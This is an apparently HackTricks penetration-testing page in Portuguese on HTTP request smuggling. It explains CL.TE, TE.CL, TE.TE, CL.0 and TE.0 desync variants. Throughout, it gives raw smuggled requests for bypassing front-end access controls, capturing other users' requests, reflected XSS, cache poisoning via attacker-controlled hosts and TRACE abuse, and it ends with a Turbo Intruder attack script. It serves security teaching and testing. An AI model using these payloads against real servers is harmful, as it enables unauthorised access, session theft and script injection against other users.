# HTTP Request Smuggling / HTTP Desync Attack
{% hint style="success" %}
Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## O que é
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o servidor **back-end** permite que um **atacante** **envie** uma **requisição** HTTP que será **interpretada** como uma **única requisição** pelos proxies de **front-end** (balanceador de carga/reverse-proxy) e **como 2 requisições** pelo servidor **back-end**.\
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor back-end após a sua**.
### Teoria
[**Especificação RFC (2161)**](https://tools.ietf.org/html/rfc2616)
> Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, o último DEVE ser ignorado.
**Content-Length**
> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
**Transfer-Encoding: chunked**
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\
> Chunked significa que grandes dados são enviados em uma série de pedaços.
### Realidade
O **Front-End** (um balanceador de carga / Reverse Proxy) **processa** o cabeçalho _**content-length**_ ou o _**transfer-encoding**_ e o servidor **Back-end** **processa o outro**, provocando uma **desincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o reverse proxy que será **interpretada** pelo servidor **back-end** **como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o servidor **back-end** **interpretará** a **2ª requisição injetada** como se **tivesse vindo do próximo cliente** e a **requisição real** desse cliente será **parte** da **requisição injetada**.
### Particularidades
Lembre-se de que em HTTP **um caractere de nova linha é composto por 2 bytes:**
* **Content-Length**: Este cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo deve terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
* **Transfer-Encoding:** Este cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo pedaço**. O **pedaço** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Este método de transferência deve terminar com um **pedaço de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Com base na minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do HTTP Request Smuggling.
## Exemplos Básicos
{% hint style="success" %}
Ao tentar explorar isso com Burp Suite **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repetidor, pois alguns gadgets abusam de novas linhas, retornos de carro e content-lengths malformados.
{% endhint %}
Os ataques de HTTP request smuggling são elaborados enviando requisições ambíguas que exploram discrepâncias em como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento da mesma requisição de maneiras diferentes pelos servidores, levando a resultados inesperados e potencialmente maliciosos.
### Exemplos Básicos de Tipos de Vulnerabilidade
{% hint style="info" %}
Na tabela anterior, você deve adicionar a técnica TE.0, como a técnica CL.0, mas usando Transfer Encoding.
{% endhint %}
#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
* **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
* **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
* **Cenário de Ataque:**
* O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
* O servidor de front-end encaminha toda a requisição para o back-end, com base no valor de `Content-Length`.
* O servidor back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
```
#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
* **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
* **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
* **Cenário de Ataque:**
* O atacante envia uma requisição chunked onde o tamanho do pedaço (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha toda a requisição para o back-end.
* O servidor back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma requisição subsequente não intencional.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
```
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com ofuscação)
* **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo via ofuscação.
* **Cenário de Ataque:**
* O atacante envia uma requisição com cabeçalhos `Transfer-Encoding` ofuscados.
* Dependendo de qual servidor (front-end ou back-end) falhar em reconhecer a ofuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
* A parte não processada da requisição, como vista por um dos servidores, torna-se parte de uma requisição subsequente, levando ao smuggling.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End)**
* Ambos os servidores processam a requisição com base apenas no cabeçalho `Content-Length`.
* Este cenário normalmente não leva ao smuggling, pois há alinhamento em como ambos os servidores interpretam o comprimento da requisição.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
```
#### **Cenário CL.0**
* Refere-se a cenários onde o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da requisição tem conteúdo. O back-end ignora o cabeçalho `Content-Length` (que é tratado como 0), mas o front-end o analisa.
* É crucial para entender e elaborar ataques de smuggling, pois influencia como os servidores determinam o final de uma requisição.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
```
#### Cenário TE.0
* Semelhante ao anterior, mas usando TE.
* Técnica [reportada aqui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **Exemplo**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Quebrando o servidor web
Esta técnica também é útil em cenários onde é possível **quebrar um servidor web enquanto lê os dados HTTP iniciais** mas **sem fechar a conexão**. Dessa forma, o **corpo** da solicitação HTTP será considerado a **próxima solicitação HTTP**.
Por exemplo, como explicado em [**este artigo**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns caracteres **Unicode** e isso faria o servidor **quebrar**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
#### Forçando via cabeçalhos hop-by-hop
Abusando de cabeçalhos hop-by-hop, você poderia indicar ao proxy para **deletar o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de abusar**.
```
Connection: Content-Length
```
Para **mais informações sobre cabeçalhos hop-by-hop** visite:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## Encontrando HTTP Request Smuggling
Identificar vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançado usando técnicas de temporização, que dependem da observação de quanto tempo leva para o servidor responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
* **Método:**
* Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end aguarde dados adicionais.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
```
* **Observação:**
* O servidor front-end processa a solicitação com base em `Content-Length` e corta a mensagem prematuramente.
* O servidor back-end, esperando uma mensagem em partes, aguarda o próximo pedaço que nunca chega, causando um atraso.
* **Indicadores:**
* Timeouts ou longos atrasos na resposta.
* Recebendo um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporização
* **Método:**
* Enviar uma solicitação que, se a aplicação for vulnerável, fará com que o servidor back-end aguarde dados adicionais.
* **Exemplo:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
```
* **Observação:**
* O servidor front-end processa a solicitação com base em `Transfer-Encoding` e encaminha toda a mensagem.
* O servidor back-end, esperando uma mensagem com base em `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
### Outros Métodos para Encontrar Vulnerabilidades
* **Análise de Resposta Diferencial:**
* Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de uma maneira inesperada, indicando uma discrepância de análise.
* **Usando Ferramentas Automatizadas:**
* Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
* **Testes de Variação de Content-Length:**
* Enviar solicitações com valores de `Content-Length` variados que não estão alinhados com o comprimento real do conteúdo e observar como o servidor lida com tais incompatibilidades.
* **Testes de Variação de Transfer-Encoding:**
* Enviar solicitações com cabeçalhos `Transfer-Encoding` ofuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a tais manipulações.
### Teste de Vulnerabilidade de HTTP Request Smuggling
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método simples é tentar envenenar suas solicitações, por exemplo, fazendo uma solicitação para `/` resultar em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para provocar uma resposta 404, apesar de o cliente estar tentando acessar um recurso diferente.
**Considerações Chave**
Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:
* **Conexões de Rede Distintas:** As solicitações "ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um pré-requisito para um ataque bem-sucedido.
* **Condições de Temporização e Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "ataque", compete contra outras solicitações de aplicação concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "ataque". Aplicações ocupadas podem exigir várias tentativas para confirmação conclusiva da vulnerabilidade.
* **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
## Abusando de HTTP Request Smuggling
### Contornando a Segurança do Front-End via HTTP Request Smuggling
Às vezes, proxies front-end impõem medidas de segurança, examinando solicitações de entrada. No entanto, essas medidas podem ser contornadas explorando HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações embutidas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.
Considere os seguintes exemplos que ilustram como HTTP Request Smuggling pode ser usado para contornar controles de segurança do front-end, especificamente visando o caminho `/admin`, que geralmente é protegido pelo proxy front-end:
**Exemplo CL.TE**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
```
No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a solicitação inicial, enquanto a solicitação incorporada subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a solicitação `POST` inicial, mas falha em inspecionar a solicitação incorporada `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
**TE.CL Exemplo**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
```
Por outro lado, no ataque TE.CL, a solicitação inicial `POST` usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
### Revelando reescrita de solicitações de front-end
As aplicações frequentemente utilizam um **servidor de front-end** para modificar solicitações recebidas antes de passá-las para o servidor de back-end. Uma modificação típica envolve a adição de cabeçalhos, como `X-Forwarded-For: `, para relatar o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **contornar proteções** ou **descobrir informações ou endpoints ocultos**.
Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, elabore uma solicitação, usando este parâmetro por último, semelhante ao seguinte:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
```
Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode causar um erro na solicitação.
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de busca.
Este método serve principalmente para entender as modificações na solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.
### Capturando as solicitações de outros usuários
É viável capturar as solicitações do próximo usuário anexando uma solicitação específica como o valor de um parâmetro durante uma operação POST. Veja como isso pode ser realizado:
Ao anexar a seguinte solicitação como o valor de um parâmetro, você pode armazenar a solicitação do cliente subsequente:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Neste cenário, o **parâmetro de comentário** destina-se a armazenar o conteúdo na seção de comentários de um post em uma página acessível publicamente. Consequentemente, o conteúdo da solicitação subsequente aparecerá como um comentário.
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na solicitação contrabandeada. Para envios de formulários codificados em URL, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da solicitação do usuário vítima parará no primeiro `&`, que pode até fazer parte da string de consulta.
Além disso, vale a pena notar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Nesses casos, a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de busca.
### Usando HTTP request smuggling para explorar XSS refletido
HTTP Request Smuggling pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
* A interação com os usuários-alvo **não é necessária**.
* Permite a exploração de XSS em partes da solicitação que são **normalmente inacessíveis**, como cabeçalhos de solicitação HTTP.
Em cenários onde um site é suscetível a XSS Refletido através do cabeçalho User-Agent, a seguinte carga útil demonstra como explorar essa vulnerabilidade:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: ">
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
```
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
1. Iniciando uma requisição `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
2. Seguindo com um `0`, marcando o fim do corpo da mensagem chunked.
3. Em seguida, uma requisição `GET` é introduzida, onde o cabeçalho `User-Agent` é injetado com um script, ``, acionando o XSS quando o servidor processa esta requisição subsequente.
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz.
#### HTTP/0.9
{% hint style="danger" %}
Caso o conteúdo do usuário seja refletido em uma resposta com um **`Content-type`** como **`text/plain`**, impedindo a execução do XSS. Se o servidor suportar **HTTP/0.9, pode ser possível contornar isso**!
{% endhint %}
A versão HTTP/0.9 era anterior à 1.0 e usa apenas verbos **GET** e **não** responde com **cabeçalhos**, apenas o corpo.
Em [**este writeup**](https://mizu.re/post/twisty-python), isso foi abusado com um request smuggling e um **endpoint vulnerável que irá responder com a entrada do usuário** para smugar uma requisição com HTTP/0.9. O parâmetro que será refletido na resposta continha uma **resposta HTTP/1.1 falsa (com cabeçalhos e corpo)**, de modo que a resposta conterá código JS executável válido com um `Content-Type` de `text/html`.
### Explorando Redirecionamentos no Local com HTTP Request Smuggling
As aplicações frequentemente redirecionam de uma URL para outra usando o hostname do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra no final resulta em um redirecionamento para incluir a barra:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Resultados em:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando HTTP request smuggling para redirecionar usuários para um site externo. Por exemplo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Este pedido contrabandeado poderia fazer com que o próximo pedido de usuário processado fosse redirecionado para um site controlado pelo atacante:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Resultados em:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Neste cenário, o pedido de um usuário por um arquivo JavaScript é sequestrado. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
### Exploiting Web Cache Poisoning via HTTP Request Smuggling
A contaminação de cache da web pode ser executada se qualquer componente da **infraestrutura de front-end armazenar conteúdo em cache**, tipicamente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **contaminar o cache**.
Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Basic Examples](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo de `/index.html` em resposta a um pedido por `/static/include.js`. Consequentemente, o conteúdo de `/static/include.js` é substituído no cache pelo de `/index.html`, tornando `/static/include.js` inacessível aos usuários, potencialmente levando a uma negação de serviço (DoS).
Essa técnica se torna particularmente poderosa se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no site para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado.
Abaixo está uma ilustração da exploração de **contaminação de cache combinada com um redirecionamento no site para redirecionamento aberto**. O objetivo é alterar o conteúdo do cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
```
Note o pedido embutido direcionado a `/post/next?postId=3`. Este pedido será redirecionado para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar o pedido para seu domínio (**redirecionamento no local para redirecionamento aberto**).
Após um **envenenamento de socket** bem-sucedido, um **pedido GET** para `/static/include.js` deve ser iniciado. Este pedido será contaminado pelo anterior pedido de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
Subsequentemente, qualquer pedido para `/static/include.js` servirá o conteúdo em cache do script do atacante, efetivamente lançando um amplo ataque XSS.
### Usando HTTP request smuggling para realizar engano de cache web
> **Qual é a diferença entre envenenamento de cache web e engano de cache web?**
>
> * No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> * No **engano de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
O atacante cria um pedido contrabandeado que busca conteúdo sensível específico do usuário. Considere o seguinte exemplo:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Se esta solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis em cache.
### Abusando do TRACE via HTTP Request Smuggling
[**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que, se o servidor tiver o método TRACE habilitado, pode ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado ao servidor como parte do corpo da resposta. Por exemplo:
```
TRACE / HTTP/1.1
Host: example.com
XSS:
```
Vou enviar uma resposta como:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS:
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Um exemplo de como abusar desse comportamento seria **contrabandear primeiro um pedido HEAD**. Este pedido será respondido apenas com os **cabeçalhos** de um pedido GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD um pedido TRACE**, que irá **refletir os dados enviados**.\
Como a resposta do HEAD conterá um cabeçalho `Content-Length`, a **resposta do pedido TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários** na resposta.\
Essa resposta será enviada para o próximo pedido sobre a conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
### Abusando do TRACE via HTTP Response Splitting
Continuar seguindo [**este post**](https://portswigger.net/research/trace-desync-attack) sugere outra maneira de abusar do método TRACE. Como comentado, contrabandear um pedido HEAD e um pedido TRACE torna possível **controlar alguns dados refletidos** na resposta ao pedido HEAD. O comprimento do corpo do pedido HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta ao pedido TRACE.
Portanto, a nova ideia seria que, sabendo esse Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente o pedido para a próxima resposta (o que poderia ser usado para realizar um cache poisoning).
Exemplo:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
```
Gerará essas respostas (note como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo da HEAD e, uma vez que o Content-Length da HEAD termina, uma resposta HTTP válida é escondida):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
```
### Armando o HTTP Request Smuggling com Desincronização de Resposta HTTP
Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Tente este outro método de exploração:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
### Outras Técnicas de HTTP Request Smuggling
* HTTP Request Smuggling no Navegador (Lado do Cliente)
{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}
* Request Smuggling em Downgrades de HTTP/2
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}
## Scripts Turbo Intruder
### CL.TE
De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
### TE.CL
